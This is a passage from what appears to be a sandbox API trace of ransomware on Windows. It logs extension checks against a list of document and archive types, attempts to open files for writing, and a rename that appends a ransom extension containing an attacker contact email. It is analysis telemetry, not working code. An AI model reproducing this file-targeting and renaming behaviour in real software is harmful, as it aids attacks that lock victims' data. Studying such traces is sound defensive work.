lpString2=".avi") returned 1 [0085.104] lstrlenW (lpString=".docx") returned 5 [0085.104] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0085.104] lstrlenW (lpString=".pdf") returned 4 [0085.104] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0085.104] lstrlenW (lpString=".xls") returned 4 [0085.104] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0085.104] lstrlenW (lpString=".xlsx") returned 5 [0085.104] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0085.104] lstrlenW (lpString=".ppt") returned 4 [0085.104] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0085.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.104] lstrlenW (lpString=".zip") returned 4 [0085.104] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0085.104] lstrlenW (lpString=".rar") returned 4 [0085.104] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0085.105] lstrlenW (lpString=".bz2") returned 4 [0085.105] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0085.105] lstrlenW (lpString=".7z") returned 3 [0085.105] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0085.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.105] lstrlenW (lpString=".dbf") returned 4 [0085.105] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0085.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.105] lstrlenW (lpString=".1cd") returned 4 [0085.105] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0085.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.105] lstrlenW (lpString=".jpg") returned 4 [0085.105] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0085.105] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.105] lstrlenW (lpString="base_jpn.xml") returned 12 [0085.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.703] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=804) returned 1 [0085.703] CloseHandle (hObject=0x184) returned 1 [0085.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0085.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.704] lstrlenW (lpString=".doc") returned 4 [0085.704] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.704] lstrlenW (lpString=".docx") returned 5 [0085.704] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0085.704] lstrlenW (lpString=".pdf") returned 4 [0085.704] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.704] lstrlenW (lpString=".xls") returned 4 [0085.704] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.704] lstrlenW (lpString=".xlsx") returned 5 [0085.704] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0085.704] lstrlenW (lpString=".ppt") returned 4 [0085.704] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.704] lstrlenW (lpString=".zip") returned 4 [0085.704] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.704] lstrlenW (lpString=".rar") returned 4 [0085.705] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.705] lstrlenW (lpString=".bz2") returned 4 [0085.705] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.705] lstrlenW (lpString=".7z") returned 3 [0085.705] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.705] lstrlenW (lpString=".dbf") returned 4 [0085.705] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.705] lstrlenW (lpString=".1cd") returned 4 [0085.705] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.705] lstrlenW (lpString=".jpg") returned 4 [0085.705] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.705] lstrlenW (lpString=".doc") returned 4 [0085.706] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.706] lstrlenW (lpString=".docx") returned 5 [0085.706] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0085.706] lstrlenW (lpString=".pdf") returned 4 [0085.706] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.706] lstrlenW (lpString=".xls") returned 4 [0085.706] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.706] lstrlenW (lpString=".xlsx") returned 5 [0085.706] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0085.706] lstrlenW (lpString=".ppt") returned 4 [0085.706] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.706] lstrlenW (lpString=".zip") returned 4 [0085.706] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.706] lstrlenW (lpString=".rar") returned 4 [0085.706] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.706] lstrlenW (lpString=".bz2") returned 4 [0085.706] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.706] lstrlenW (lpString=".7z") returned 3 [0085.707] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.707] lstrlenW (lpString=".dbf") returned 4 [0085.707] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.707] lstrlenW (lpString=".1cd") returned 4 [0085.707] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0085.707] lstrlenW (lpString=".jpg") returned 4 [0085.707] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.707] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.707] lstrlenW (lpString="web.xml") returned 7 [0085.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0085.842] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=207) returned 1 [0085.842] CloseHandle (hObject=0x214) returned 1 [0085.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0085.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.842] lstrlenW (lpString=".doc") returned 4 [0085.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.842] lstrlenW (lpString=".docx") returned 5 [0085.843] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0085.843] lstrlenW (lpString=".pdf") returned 4 [0085.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.843] lstrlenW (lpString=".xls") returned 4 [0085.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.843] lstrlenW (lpString=".xlsx") returned 5 [0085.843] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0085.843] lstrlenW (lpString=".ppt") returned 4 [0085.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.843] lstrlenW (lpString=".zip") returned 4 [0085.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.843] lstrlenW (lpString=".rar") returned 4 [0085.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.843] lstrlenW (lpString=".bz2") returned 4 [0085.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.843] lstrlenW (lpString=".7z") returned 3 [0085.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.843] lstrlenW (lpString=".dbf") returned 4 [0085.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.843] lstrlenW (lpString=".1cd") returned 4 [0085.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.844] lstrlenW (lpString=".jpg") returned 4 [0085.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.844] lstrlenW (lpString=".doc") returned 4 [0085.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.844] lstrlenW (lpString=".docx") returned 5 [0085.844] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0085.844] lstrlenW (lpString=".pdf") returned 4 [0085.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.844] lstrlenW (lpString=".xls") returned 4 [0085.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.844] lstrlenW (lpString=".xlsx") returned 5 [0085.844] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0085.844] lstrlenW (lpString=".ppt") returned 4 [0085.845] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.845] lstrlenW (lpString=".zip") returned 4 [0085.845] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.845] lstrlenW (lpString=".rar") returned 4 [0085.845] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.845] lstrlenW (lpString=".bz2") returned 4 [0085.845] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.845] lstrlenW (lpString=".7z") returned 3 [0085.845] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.845] lstrlenW (lpString=".dbf") returned 4 [0085.845] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.845] lstrlenW (lpString=".1cd") returned 4 [0085.845] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0085.845] lstrlenW (lpString=".jpg") returned 4 [0085.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.846] lstrcmpiW (lpString1=".dat", lpString2=".data") returned -1 [0085.846] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0085.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0086.241] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=1100368) returned 1 [0086.241] CloseHandle (hObject=0x214) returned 1 [0086.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0086.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.242] lstrlenW (lpString=".doc") returned 4 [0086.242] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.242] lstrlenW (lpString=".docx") returned 5 [0086.242] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0086.242] lstrlenW (lpString=".pdf") returned 4 [0086.242] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.242] lstrlenW (lpString=".xls") returned 4 [0086.242] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.242] lstrlenW (lpString=".xlsx") returned 5 [0086.243] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0086.243] lstrlenW (lpString=".ppt") returned 4 [0086.243] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.243] lstrlenW (lpString=".zip") returned 4 [0086.243] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.243] lstrlenW (lpString=".rar") returned 4 [0086.243] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.243] lstrlenW (lpString=".bz2") returned 4 [0086.243] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.243] lstrlenW (lpString=".7z") returned 3 [0086.243] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.243] lstrlenW (lpString=".dbf") returned 4 [0086.243] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.243] lstrlenW (lpString=".1cd") returned 4 [0086.243] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.244] lstrlenW (lpString=".jpg") returned 4 [0086.244] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.244] lstrlenW (lpString=".doc") returned 4 [0086.244] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.244] lstrlenW (lpString=".docx") returned 5 [0086.244] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0086.244] lstrlenW (lpString=".pdf") returned 4 [0086.245] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.245] lstrlenW (lpString=".xls") returned 4 [0086.245] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.245] lstrlenW (lpString=".xlsx") returned 5 [0086.245] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0086.245] lstrlenW (lpString=".ppt") returned 4 [0086.245] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.245] lstrlenW (lpString=".zip") returned 4 [0086.245] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.245] lstrlenW (lpString=".rar") returned 4 [0086.245] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.245] lstrlenW (lpString=".bz2") returned 4 [0086.246] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.246] lstrlenW (lpString=".7z") returned 3 [0086.246] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.246] lstrlenW (lpString=".dbf") returned 4 [0086.246] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.246] lstrlenW (lpString=".1cd") returned 4 [0086.246] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.246] lstrlenW (lpString=".jpg") returned 4 [0086.246] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.247] lstrcmpiW (lpString1=".dat", lpString2=".data") returned -1 [0086.247] lstrlenW (lpString="hwruksh.dat") returned 11 [0086.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0086.248] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2227968) returned 1 [0086.248] CloseHandle (hObject=0x214) returned 1 [0086.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0086.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0086.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.249] lstrlenW (lpString=".doc") returned 4 [0086.249] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.249] lstrlenW (lpString=".docx") returned 5 [0086.249] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0086.249] lstrlenW (lpString=".pdf") returned 4 [0086.249] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.249] lstrlenW (lpString=".xls") returned 4 [0086.249] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.249] lstrlenW (lpString=".xlsx") returned 5 [0086.249] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0086.250] lstrlenW (lpString=".ppt") returned 4 [0086.250] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.250] lstrlenW (lpString=".zip") returned 4 [0086.250] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.250] lstrlenW (lpString=".rar") returned 4 [0086.250] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.250] lstrlenW (lpString=".bz2") returned 4 [0086.250] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.250] lstrlenW (lpString=".7z") returned 3 [0086.250] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.250] lstrlenW (lpString=".dbf") returned 4 [0086.250] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.251] lstrlenW (lpString=".1cd") returned 4 [0086.251] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.251] lstrlenW (lpString=".jpg") returned 4 [0086.251] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.251] lstrlenW (lpString=".doc") returned 4 [0086.251] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.251] lstrlenW (lpString=".docx") returned 5 [0086.251] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0086.251] lstrlenW (lpString=".pdf") returned 4 [0086.252] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.252] lstrlenW (lpString=".xls") returned 4 [0086.252] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.252] lstrlenW (lpString=".xlsx") returned 5 [0086.252] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0086.252] lstrlenW (lpString=".ppt") returned 4 [0086.252] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.252] lstrlenW (lpString=".zip") returned 4 [0086.252] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.252] lstrlenW (lpString=".rar") returned 4 [0086.252] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.252] lstrlenW (lpString=".bz2") returned 4 [0086.253] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.253] lstrlenW (lpString=".7z") returned 3 [0086.253] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.253] lstrlenW (lpString=".dbf") returned 4 [0086.253] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.253] lstrlenW (lpString=".1cd") returned 4 [0086.253] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.253] lstrlenW (lpString=".jpg") returned 4 [0086.253] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.254] lstrcmpiW (lpString1=".dat", lpString2=".data") returned -1 [0086.254] lstrlenW (lpString="hwrusalm.dat") returned 12 [0086.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0086.255] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=3195696) returned 1 [0086.255] CloseHandle (hObject=0x214) returned 1 [0086.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0086.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 